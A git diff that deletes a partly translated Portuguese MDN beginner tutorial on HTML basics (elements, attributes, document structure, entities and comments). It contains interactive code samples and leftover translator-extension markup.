- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
-</ul>
-
-<p> </p>
diff --git a/files/pt-pt/learn/html/introduction_to_html/getting_started/index.html b/files/pt-pt/learn/html/introduction_to_html/getting_started/index.html
deleted file mode 100644
index d6b77c0bcb..0000000000
--- a/files/pt-pt/learn/html/introduction_to_html/getting_started/index.html
+++ /dev/null
@@ -1,613 +0,0 @@
----
-title: Começar com HTML
-slug: Learn/HTML/Introduction_to_HTML/Getting_started
-tags:
- - Comentário
- - Elemento
- - Guía
- - HTML
- - Principiante
- - atributo
- - espaço em branco
- - referência de entidade
-translation_of: Learn/HTML/Introduction_to_HTML/Getting_started
-original_slug: Learn/HTML/Introducao_ao_HTML/Iniciacao_HTML
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{NextMenu("Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML", "Learn/HTML/Introducao_ao_HTML")}}</div>
-
-<p class="summary">Neste artigo nós iremos abranger os básicos absolutos de HTML, para o iniciar — nós definimos os elementos, atributos, e todos os outros termos importantes que já poderá ter ouvido, e onde os incorporar na linguagem. Nós também mostramos como é que o elemento de HTML é estruturado, como é que uma página HTML é estruturada, e explicar outras funcionalidades de linguagem básica importantes. E nós iremos algumas demonstrações de algum HTML, para o motivar!</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>Basic computer literacy, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">basic software installed</a>, and basic knowledge of <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">working with files</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>To gain basic familiarity with the HTML language, and get some practice writing a few HTML elements.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="O_que_é_HTML">O que é HTML?</h2>
-
-<p>{{glossary("HTML")}} (Linguagem de Marcação de Hipertexto) não é uma linguagem de programação; é uma <em>linguagem de marcação</em> utilizada para comunicar ao seu navegador como estruturar as páginas da Web que visita. Este pode ser tão complicado ou tão simples como o programador da <em>Web</em> o desejar. HTML consiste em uma série de  {{glossary("Element", "elementos")}}, que utiliza para incluir, ou marcar diferentes partes do conteúdo para que este apareça ou atue de uma determinada maneira. A inclusão de {{glossary("Tag", "etiquetas")}} pode tornar uma parte do conteúdo em uma hiperligação para interligar com outra página na <em>Web</em>, colocar as palavras em itálico, e assim por diante. Por exemplo, siga a seguinte linha de conteúdo:</p>
-
-<pre>My cat is very grumpy</pre>
-
-<p>Se quisermos que a linha esteja demarcada, podemos especificar que é um parágrafo, encerrando-a num elemento com <em>tag </em>de parágrafo ({{htmlelement("p")}}) :</p>
-
-<pre class="brush: html">&lt;p&gt;My cat is very grumpy&lt;/p&gt;</pre>
-
-<h2 id="Anatomia_de_um_elemento_HTML">Anatomia de um elemento HTML</h2>
-
-<p>Vamos explorar o nosso elemento parágrafo um pouco mais:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
-
-<p>As partes principais do nosso elemento são:</p>
-
-<ol>
- <li><strong>A tag de abertura:</strong> Isto consiste no nome do elemento (neste caso, p), envolta por <strong>colchetes angulares</strong> de abertura ( &lt; ) e fecho ( &gt; ). Isto especifica onde o elemento começa, ou onde começa a ter efeito - neste caso, onde está o início do parágrafo.</li>
- <li><strong>A tag de fecho:</strong> Isto é o mesmo que a tag de abertura, só que inclui um traço ( \ ) antes do nome do elemento. Isto indica onde é que o elemento acaba - neste caso, onde é o fim do parágrafo. Esquecer-se de incluir uma tag de fecho é um erro comum de principiante e pode levar a resultados estranhos.</li>
- <li><strong>O conteúdo:</strong> É o conteúdo do elemento, que neste caso é só texto.</li>
- <li><strong>O elemento:</strong> A tag de abertura mais a tag de fecho mais o conteúdo é igual ao elemento.</li>
-</ol>
-
-<h3 id="Aprendizagem_ativa_criar_o_seu_primeiro_HTML">Aprendizagem ativa: criar o seu primeiro HTML</h3>
-
-<p>Edit the line below in the <em>Input</em> area by wrapping it with the tags <code>&lt;em&gt;</code> and <code>&lt;/em&gt;</code> (put <code>&lt;em&gt;</code> before it to <em>open the element</em>, and <code>&lt;/em&gt;</code> after it, to <em>close the element</em>) — this should give the line italic emphasis! You'll be able to see your changes update live in the <em>Output</em> area.</p>
-
-<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p>
-
-<div class="hidden">
-<h6 id="Playable_code">Playable code</h6>
-
-<pre class="brush: html">&lt;h2&gt;Input&lt;/h2&gt;
-&lt;textarea id="code" class="input"&gt;This is my text.&lt;/textarea&gt;
-&lt;h2&gt;Output&lt;/h2&gt;
-&lt;div class="output"&gt;&lt;/div&gt;
-&lt;div class="controls"&gt;
-  &lt;input id="reset" type="button" value="Reset" /&gt;
- &lt;input id="solution" type="button" value="Show solution" /&gt;
-&lt;/div&gt;
-</pre>
-
-<pre class="brush: css">body {
- font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
-}
-
-.input, .output {
- width: 90%;
- height: 2em;
- padding: 10px;
- border: 1px solid #0095dd;
-}
-
-button {
- padding: 10px 10px 10px 0;
-}
-</pre>
-
-<pre class="brush: js">var textarea = document.getElementById("code");
-var reset = document.getElementById("reset");
-var code = textarea.value;
-var output = document.querySelector(".output");
-var solution = document.getElementById("solution");
-
-function drawOutput() {
- output.innerHTML = textarea.value;
-}
-
-reset.addEventListener("click", function() {
- textarea.value = code;
- drawOutput();
-});
-
-solution.addEventListener("click", function() {
- textarea.value = '&lt;em&gt;This is my text.&lt;/em&gt;';
- drawOutput();
-});
-
-textarea.addEventListener("input", drawOutput);
-window.addEventListener("load", drawOutput);
-</pre>
-</div>
-
-<p>{{ EmbedLiveSample('Playable_code', 700, 300) }}</p>
-
-<h3 id="Nesting_elements">Nesting elements</h3>
-
-<p>You can put elements inside other elements too — this is called <strong>nesting</strong>. If we wanted to state that our cat is <strong>very</strong> grumpy, we could wrap the word "very" in a {{htmlelement("strong")}} element, which means that the word is to be strongly emphasized:</p>
-
-<pre class="brush: html">&lt;p&gt;My cat is &lt;strong&gt;very&lt;/strong&gt; grumpy.&lt;/p&gt;</pre>
-
-<p>You do however need to make sure that your elements are properly nested: in the example above we opened the <code>p</code> element first, then the <code>strong</code> element, therefore we have to close the <code>strong</code> element first, then the <code>p</code>. The following is incorrect:</p>
-
-<pre class="example-bad brush: html">&lt;p&gt;My cat is &lt;strong&gt;very grumpy.&lt;/p&gt;&lt;/strong&gt;</pre>
-
-<p>The elements have to open and close correctly so they are clearly inside or outside one another. If they overlap like above, then your web browser will try to make a best guess at what you were trying to say, and you may well get unexpected results. So don't do it!</p>
-
-<h3 id="Block_versus_inline_elements">Block versus inline elements</h3>
-
-<p>There are two important categories of elements in HTML, which you should know about — block-level elements and inline elements.</p>
-
-<ul>
- <li>Block-level elements form a visible block on a page — they will appear on a new line from whatever content went before it, and any content that goes after it will also appear on a new line. Block-level elements tend to be structural elements on the page that represent, for example, paragraphs, lists, navigation menus, footers, etc. A block-level element wouldn't be nested inside an inline element, but it might be nested inside another block-level element.</li>
- <li>Inline elements are those that are contained within block-level elements and surround only small parts of the document’s content, not entire paragraphs and groupings of content. An inline element will not cause a new line to appear in the document; they would normally appear inside a paragraph of text, for example an {{htmlelement("a")}} element (hyperlink) or emphasis elements such as {{htmlelement("em")}} or {{htmlelement("strong")}}.</li>
-</ul>
-
-<p>Take the following example:</p>
-
-<pre class="brush: html">&lt;em&gt;first&lt;/em&gt;&lt;em&gt;second&lt;/em&gt;&lt;em&gt;third&lt;/em&gt;
-
-&lt;p&gt;fourth&lt;/p&gt;&lt;p&gt;fifth&lt;/p&gt;&lt;p&gt;sixth&lt;/p&gt;
-</pre>
-
-<p>{{htmlelement("em")}} is an inline element, so as you can see below, the first three elements sit on the same line as one another with no space in between. On the other hand, {{htmlelement("p")}} is a block-level element, so each element appears on a new line, with space above and below each (the spacing is due to default <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS styling</a> that the browser applies to paragraphs).</p>
-
-<p>{{ EmbedLiveSample('Block_versus_inline_elements', 700, 200) }}</p>
-
-<div class="note">
-<p><strong>Nota</strong>: HTML5 redefined the element categories in HTML5: see <a href="http://www.whatwg.org/specs/web-apps/current-work/complete/section-index.html#element-content-categories">Element content categories</a>. While these definitions are more accurate and less ambiguous than the ones that went before, they are a lot more complicated to understand than "block" and "inline", so we will stick with these throughout this topic.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: You can find useful reference pages that include lists of block and inline elements — see <a href="/en-US/docs/Web/HTML/Block-level_elements">Block-level elements</a> and <a href="/en-US/docs/Web/HTML/Inline_elements">Inline elements</a>.</p>
-</div>
-
-<h3 id="Elementos_vazios">Elementos vazios</h3>
-
-<p>Not all elements follow the above pattern of opening tag, content, closing tag. Some elements consist only of a single tag, which is usually used to insert/embed something in the document at the place it is included. For example, the {{htmlelement("img")}} element embeds an image file onto a page in the position it is included in:</p>
-
-<pre class="brush: html">&lt;img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png"&gt;</pre>
-
-<p>This would output the following on your page:</p>
-
-<p>{{ EmbedLiveSample('Empty_elements', 700, 300) }}</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Empty elements are also sometimes called <em>void elements</em>.</p>
-</div>
-
-<h2 id="Atributos">Atributos</h2>
-
-<p>Elements can also have attributes, which look like this:</p>
-
-<p><img alt='&amp;lt;p class="editor-note">My cat is very grumpy&amp;lt;/p>' src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
-
-<p>Attributes contain extra information about the element which you don't want to appear in the actual content. In this case, the <code>class</code> attribute allows you to give the element an identifying name that can be later used to target the element with style information and other things.</p>
-
-<p>An attribute should have:</p>
-
-<ol>
- <li>A space between it and the element name (or the previous attribute, if the element already has one or more attributes.)</li>
- <li>The attribute name, followed by an equals sign.</li>
- <li>An attribute value, with opening and closing quote marks wrapped around it.</li>
-</ol>
-
-<h3 id="Aprendizagem_ativa_Adicionar_atributos_a_um_elemento">Aprendizagem ativa: Adicionar atributos a um elemento</h3>
-
-<p>Another example of an element is {{htmlelement("a")}} — this stands for anchor and will make the piece of text it wraps around into a hyperlink. This can take a number of attributes, but several are as follows:</p>
-
-<ul>
- <li><code>href</code>: This attribute specifies as its value the web address that you want the link to point to; where the browser navigates to when the link is clicked. For example, <code>href="https://www.mozilla.org/"</code>.</li>
- <li><code>title</code>: The <code>title</code> attribute specifies extra information about the link, such as what the page is that you are linking to. For example, <code>title="The Mozilla homepage"</code>. This will appear as a tooltip when hovered over.</li>
- <li><code>target</code>: The <code>target</code> attribute specifies the browsing context which will be used to display the link. For example, <code>target="_blank"</code> will display the link in a new tab. If you want to display the link in the current tab just omit this attribute.</li>
-</ul>
-
-<p>Edit the line below in the <em>Input</em> area to turn it into a link to your favourite website. First, add the <code>&lt;a&gt;</code> element. Second, add the <code>href</code> attribute and the <code>title</code> attribute. Lastly, specify <code>target</code> attribute to open the link in the new tab. You'll be able to see your changes update live in the <em>Output</em> area. You should see a link that when hovered over displays the <code>title</code> attribute's content, and when clicked navigates to the web address in the <code>href</code> element. Remember that you need to include a space between the element name, and each attribute.</p>
-
-<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p>
-
-<div class="hidden">
-<h6 id="Playable_code2">Playable code2</h6>
-
-<pre class="brush: html">&lt;h2&gt;Input&lt;/h2&gt;
-&lt;textarea id="code" class="input"&gt;&amp;lt;p&amp;gt;A link to my favourite website.&amp;lt;/p&amp;gt;&lt;/textarea&gt;
-&lt;h2&gt;Output&lt;/h2&gt;
-&lt;div class="output"&gt;&lt;/div&gt;
-&lt;div class="controls"&gt;
-  &lt;input id="reset" type="button" value="Reset" /&gt;
- &lt;input id="solution" type="button" value="Show solution" /&gt;
-&lt;/div&gt;
-</pre>
-
-<pre class="brush: css">body {
- font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
-}
-
-.input, .output {
- width: 90%;
- height: 2em;
- padding: 10px;
- border: 1px solid #0095dd;
-}
-
-button {
- padding: 10px 10px 10px 0;
-}
-</pre>
-
-<pre class="brush: js">var textarea = document.getElementById("code");
-var reset = document.getElementById("reset");
-var code = textarea.value;
-var output = document.querySelector(".output");
-var solution = document.getElementById("solution");
-
-function drawOutput() {
- output.innerHTML = textarea.value;
-}
-
-reset.addEventListener("click", function() {
- textarea.value = code;
- drawOutput();
-});
-
-solution.addEventListener("click", function() {
- textarea.value = '&lt;p&gt;A link to my &lt;a href="<code>https://www.mozilla.org/</code>" title="The Mozilla homepage" target="_blank"&gt;favourite website&lt;/a&gt;.&lt;/p&gt;';
- drawOutput();
-});
-
-textarea.addEventListener("input", drawOutput);
-window.addEventListener("load", drawOutput);
-</pre>
-</div>
-
-<p>{{ EmbedLiveSample('Playable_code2', 700, 300) }}</p>
-
-<h3 id="Atributos_de_booliano">Atributos de booliano</h3>
-
-<p>You'll sometimes see attributes written without values — this is perfectly allowed. These are called boolean attributes, and they can only have one value, which is generally the same as the attribute name. As an example, take the {{htmlattrxref("disabled", "input")}} attribute, which you can assign to form input elements if you want them to be disabled (greyed out) so the user can't enter any data in them.</p>
-
-<pre>&lt;input type="text" disabled="disabled"&gt;</pre>
-
-<p>As shorthand, it is perfectly allowable to write this as follows (we've also included a non-disabled form input element for reference, to give you more of an idea what is going on):</p>
-
-<pre class="brush: html">&lt;input type="text" disabled&gt;
-
-&lt;input type="text"&gt;
-</pre>
-
-<p>Both will give you an output as follows:</p>
-
-<p>{{ EmbedLiveSample('Boolean_attributes', 700, 100) }}</p>
-
-<h3 id="Omitir_aspas_em_volta_de_valores_de_atributo">Omitir aspas em volta de valores de atributo</h3>
-
-<p>When you look around the World Wide Web, you'll come across all kind of strange markup styles, including attribute values without quotes. This is allowable in certain circumstances, but will break your markup in others. For example, if we revisit our link example from earlier, we could write a basic version with only the <code>href</code> attribute, like this:</p>
-
-<pre>&lt;a href=<code>https://www.mozilla.org/</code>&gt;favourite website&lt;/a&gt;</pre>
-
-<p>However, as soon as we add the <code>title</code> attribute in this style, things will go wrong:</p>
-
-<pre class="brush: html">&lt;a href=<code>https://www.mozilla.org/</code> title=The Mozilla homepage&gt;favourite website&lt;/a&gt;</pre>
-
-<p>At this point the browser will misinterpret your markup, thinking that the <code>title</code> attribute is actually three attributes — a title attribute with the value "The", and two boolean attributes, <code>Mozilla</code> and <code>homepage</code>. This is obviously not what was intended, and will cause errors or unexpected behaviour in the code, as seen in the live example below. Try hovering over the link to see what the title text is!</p>
-
-<p>{{ EmbedLiveSample('Omitting_quotes_around_attribute_values', 700, 100) }}</p>
-
-<p>Our advice is to always include the attribute quotes — it avoids such problems, and results in more readable code too.</p>
-
-<h3 id="Aspas_simples_ou_duplas">Aspas simples ou duplas?</h3>
-
-<p>In this article you'll notice that the attributes are all wrapped in double quotes. You might however see single quotes in some people's HTML. This is purely a matter of style, and you can feel free to choose which one you prefer. Both the following lines are equivalent:</p>
-
-<pre class="brush: html">&lt;a href="http://www.example.com"&gt;A link to my example.&lt;/a&gt;
-
-&lt;a href='http://www.example.com'&gt;A link to my example.&lt;/a&gt;</pre>
-
-<p>You should however make sure you don't mix them together. The following will go wrong!</p>
-
-<pre class="brush: html">&lt;a href="http://www.example.com'&gt;A link to my example.&lt;/a&gt;</pre>
-
-<p>If you've used one type of quote in your HTML, you can include the other type of quote without causing any problems:</p>
-
-<pre class="brush: html">&lt;a href="http://www.example.com" title="Isn't this fun?"&gt;A link to my example.&lt;/a&gt;</pre>
-
-<p>However if you want to include a quote within the quotes where both the quotes are of the same type(single quote or double quote), you'll have to <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Entity_references_including_special_characters_in_HTML">use HTML entities</a> for the quotes.</p>
-
-<h2 id="Anatomia_de_uma_documento_HTML">Anatomia de uma documento HTML</h2>
-
-<p>That wraps up the basics of individual HTML elements, but they aren't very useful on their own. Now we'll look at how individual elements are combined to form an entire HTML page:</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="utf-8"&gt;
- &lt;title&gt;My test page&lt;/title&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;p&gt;This is my page&lt;/p&gt;
- &lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p>Here we have:</p>
-
-<ol>
- <li><code>&lt;!DOCTYPE html&gt;</code>: The doctype. In the mists of time, when HTML was young (about 1991/2), doctypes were meant to act as links to a set of rules that the HTML page had to follow to be considered good HTML, which could mean automatic error checking and other useful things. They used to look something like this:
-
- <pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;</pre>
- However, these days no one really cares about them, and they are really just a historical artifact that needs to be included for everything to work right. <code>&lt;!DOCTYPE html&gt;</code> is the shortest string of characters that counts as a valid doctype; that's all you really need to know.</li>
- <li><code>&lt;html&gt;&lt;/html&gt;</code>: The {{htmlelement("html")}} element. This element wraps all the content on the entire page, and is sometimes known as the root element.</li>
- <li><code>&lt;head&gt;&lt;/head&gt;</code>: The {{htmlelement("head")}} element. This element acts as a container for all the stuff you want to include on the HTML page that <em>isn't</em> the content you are showing to your page's viewers. This includes things like keywords and a page description that you want to appear in search results, CSS to style our content, character set declarations, and more. You'll learn more about this in the next article in the series.</li>
- <li><code>&lt;meta charset="utf-8"&gt;</code>: This element sets the character set your document should use to UTF-8, which includes most characters from the vast majority of human written languages. Essentially it can now handle any textual content you might put on it. There is no reason not to set this, and it can help avoid some problems later on.</li>
- <li><code>&lt;title&gt;&lt;/title&gt;</code>: The {{htmlelement("title")}} element. This sets the title of your page, which is the title that appears in the browser tab the page is loaded in, and is used to describe the page when you bookmark/favourite it.</li>
- <li><code>&lt;body&gt;&lt;/body&gt;</code>: The {{htmlelement("body")}} element. This contains <em>all</em> the content that you want to show to web users when they visit your page, whether that's text, images, videos, games, playable audio tracks, or whatever else.</li>
-</ol>
-
-<h3 id="Aprendizagem_ativa_Adicionar_alguns_recursos_a_um_documento_HTML">Aprendizagem ativa: Adicionar alguns recursos a um documento HTML</h3>
-
-<p>If you want to experiment with writing some HTML on your local computer, you can:</p>
-
-<ol>
- <li>Copy the HTML page example listed above.</li>
- <li>Create a new file in your text editor.</li>
- <li>Paste the code into the new text file.</li>
- <li>Save the file as <code>index.html</code>.</li>
-</ol>
-
-<div class="note">
-<p><strong>Nota</strong>: You can also find this basic HTML template on the <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">MDN Learning Area Github repo</a>.</p>
-</div>
-
-<p>You can now open this file in a web browser to see what the rendered code looks like, and then edit the code and refresh the browser to see what the result is. Initially it will look like this:</p>
-
-<p><img alt="A simple HTML page that says This is my page" src="https://mdn.mozillademos.org/files/12279/template-screenshot.png" style="display: block; height: 365px; margin: 0px auto; width: 595px;">So in this exercise, you can edit the code locally on your computer, as outlined above, or you can edit it in the editable sample window below (the editable sample window represents just the contents of the {{htmlelement("body")}} element, in this case.) We'd like you to have a go at implementing the following steps:</p>
-
-<ul>
- <li>Just below the opening tag of the {{htmlelement("body")}} element, add a main title for the document. This should be wrapped inside an <code>&lt;h1&gt;</code> opening tag and <code>&lt;/h1&gt;</code> closing tag.</li>
- <li>Edit the paragraph content to include some text about something you are interested in.</li>
- <li>Make any important words stand out in bold by wrapping them inside a <code>&lt;strong&gt;</code> opening tag and <code>&lt;/strong&gt;</code> closing tag</li>
- <li>Add a link to your paragraph, as <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Active_learning_Adding_attributes_to_an_element">explained earlier in the article</a>.</li>
- <li>Add an image to your document, below the paragraph, as <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Empty_elements">explained earlier in the article</a>. You'll get bonus points if you manage to link to a different image (either locally on your computer, or somewhere else on the web.)</li>
-</ul>
-
-<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p>
-
-<div class="hidden">
-<h6 id="Playable_code3">Playable code3</h6>
-
-<pre class="brush: html">&lt;h2&gt;Input&lt;/h2&gt;
-&lt;textarea id="code" class="input"&gt;
-&amp;lt;p&amp;gt;This is my page&amp;lt;/p&amp;gt;&lt;/textarea&gt;
-&lt;h2&gt;Output&lt;/h2&gt;
-&lt;div class="output"&gt;&lt;/div&gt;
-&lt;div class="controls"&gt;
-  &lt;input id="reset" type="button" value="Reset" /&gt;
- &lt;input id="solution" type="button" value="Show solution" /&gt;
-&lt;/div&gt;
-</pre>
-
-<pre class="brush: css">body {
- font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
-}
-
-.input, .output {
- width: 90%;
- height: 10em;
- padding: 10px;
- border: 1px solid #0095dd;
-}
-
-img {
- max-width: 100%;
-}
-
-.output {
- overflow: auto;
-}
-
-button {
- padding: 10px 10px 10px 0;
-}
-</pre>
-
-<pre class="brush: js">var textarea = document.getElementById("code");
-var reset = document.getElementById("reset");
-var code = textarea.value;
-var output = document.querySelector(".output");
-var solution = document.getElementById("solution");
-
-function drawOutput() {
- output.innerHTML = textarea.value;
-}
-
-reset.addEventListener("click", function() {
- textarea.value = code;
- drawOutput();
-});
-
-solution.addEventListener("click", function() {
- textarea.value = '&lt;p&gt;I really enjoy &lt;strong&gt;playing the drums&lt;/strong&gt;. One of my favourite drummers is Neal Peart, who\
- plays in the band &lt;a href="https://en.wikipedia.org/wiki/Rush_%28band%29" title="Rush Wikipedia article"&gt;Rush&lt;/a&gt;.\
- My favourite Rush album is currently &lt;a href="http://www.deezer.com/album/942295"&gt;Moving Pictures&lt;/a&gt;.&lt;/p&gt;\
-&lt;img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg"&gt;';
- drawOutput();
-});
-
-textarea.addEventListener("input", drawOutput);
-window.addEventListener("load", drawOutput);
-</pre>
-</div>
-
-<p>{{ EmbedLiveSample('Playable_code3', 700, 600) }}</p>
-
-<h3 id="Espaço_em_branco_em_HTML">Espaço em branco em HTML</h3>
-
-<p>In the above examples you may have noticed that a lot of whitespace is included in the code listings — this is not necessary at all; the two following code snippets are equivalent:</p>
-
-<pre class="brush: html">&lt;p&gt;Dogs are silly.&lt;/p&gt;
-
-&lt;p&gt;Dogs are
- silly.&lt;/p&gt;</pre>
-
-<p>No matter how much whitespace you use (which can include space characters, but also line breaks), the HTML parser reduces each one down to a single space when rendering the code. So why use so much whitespace? The answer is readability — it is so much easier to understand what is going on in your code if you have it nicely formatted, and not just bunched up together in a big mess. In our HTML we've got each nested element indented by two spaces more than the one it is sitting inside. It is up to you what style of formatting you use (how many spaces for each level of indentation, for example), but you should consider using some kind of formatting.</p>
-
-<h2 id="Referências_de_entidade_incluindo_carateres_especiais_em_HTML">Referências de entidade: incluindo carateres especiais em HTML</h2>
-
-<p>In HTML, the characters <code>&lt;</code>, <code>&gt;</code>,<code>"</code>,<code>'</code> and <code>&amp;</code> are special characters. They are parts of the HTML syntax itself, so how do you include one of these characters in your text, for example if you really want to use an ampersand or less than sign, and not have it interpreted as code as some browsers may do?</p>
-
-<p>We have to use character references — special codes that represent characters, and can be used in these exact circumstances. Each character reference is started with an ampersand (&amp;), and ended by a semi-colon (;).</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Caráter literal</th>
- <th scope="col">Referência de caráter equivalente</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>&lt;</td>
- <td>&amp;lt;</td>
- </tr>
- <tr>
- <td>&gt;</td>
- <td>&amp;gt;</td>
- </tr>
- <tr>
- <td>"</td>
- <td>&amp;quot;</td>
- </tr>
- <tr>
- <td>'</td>
- <td>&amp;apos;</td>
- </tr>
- <tr>
- <td>&amp;</td>
- <td>&amp;amp;</td>
- </tr>
- </tbody>
-</table>
-
-<p>In the below example, you can see two paragraphs, which are talking about web technologies:</p>
-
-<pre class="brush: html">&lt;p&gt;In HTML, you define a paragraph using the &lt;p&gt; element.&lt;/p&gt;
-
-&lt;p&gt;In HTML, you define a paragraph using the &amp;lt;p&amp;gt; element.&lt;/p&gt;</pre>
-
-<p>In the live output below, you can see that the first paragraph has gone wrong, because the browser thinks that the second instance of <code>&lt;p&gt;</code> is starting a new paragraph. The second paragraph looks fine, because we have replaced the angle brackets with character references.</p>
-
-<p>{{ EmbedLiveSample('Entity_references_including_special_characters_in_HTML', 700, 200) }}</p>
-
-<div class="note">
-<p><strong>Nota</strong>: A chart of all the available HTML character entity references can be found on Wikipedia: <a class="external text" href="http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references" rel="nofollow">List of XML and HTML character entity references</a>.</p>
-</div>
-
-<h2 id="Comentários_de_HTML">Comentários de HTML</h2>
-
-<p>In HTML, as with most programming languages, there is a mechanism available to write comments in the code — comments are ignored by the browser and invisible to the user, and their purpose is to allow you to include comments in the code to say how your code works, what the different parts of the code do, etc. This can be very useful if you return to a code base that you've not worked on for six months, and can't remember what you did — or if you hand your code over to someone else to work on.</p>
-
-<p>To turn a section of content inside your HTML file into a comment, you need to wrap it in the special markers <code>&lt;!--</code> and <code>--&gt;</code>, for example:</p>
-
-<pre class="brush: html">&lt;p&gt;I'm not inside a comment&lt;/p&gt;
-
-&lt;!-- &lt;p&gt;I am!&lt;/p&gt; --&gt;</pre>
-
-<p>As you can see below, the first paragraph appears in the live output, but the second one doesn't.</p>
-
-<p>{{ EmbedLiveSample('HTML_comments', 700, 100) }}</p>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>You've reached the end of the article — we hope you enjoyed your tour of the very basics of HTML! At this point you should understand what the language looks like, how it works at a basic level, and be able to write a few elements and attributes. This is a perfect place to be right now, as in subsequent articles in the module we will go into some of the things you have already looked at in a lot more detail, and introduce some new features of the language. Stay tuned!</p>
-
-<div class="note">
-<p><strong>Note</strong>: At this point, as you start to learn more about HTML, you might also want to start to explore the basics of Cascading Style Sheets, or <a href="/en-US/docs/Learn/CSS">CSS</a>. CSS is the language you use to style your web pages (whether e.g. changing the font or colors, or altering the page layout). HTML and CSS go very well together, as you'll soon discover.</p>
-</div>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/HTML/Aplicar_cor__elementos_HTML_utilizando_CSS">Aplicar cor aos elementos de HTML utilizando CSS</a></li>
-</ul>
-
-<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option 